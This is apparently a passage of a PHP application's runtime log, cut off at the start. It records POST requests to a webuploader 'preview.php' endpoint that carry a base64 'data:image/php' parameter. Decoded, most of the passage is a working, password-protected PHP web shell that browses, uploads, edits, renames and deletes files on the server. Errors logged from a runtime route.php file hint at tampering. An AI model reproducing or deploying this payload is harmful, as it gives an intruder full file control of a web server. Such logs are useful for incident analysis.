c7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:24+08:00 ] 119.42.146.234 POST 59.110.137.245/Public//webuploader/0.1.15/server/preview.php [运行时间:0.002835s] [吞吐率:352.73req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID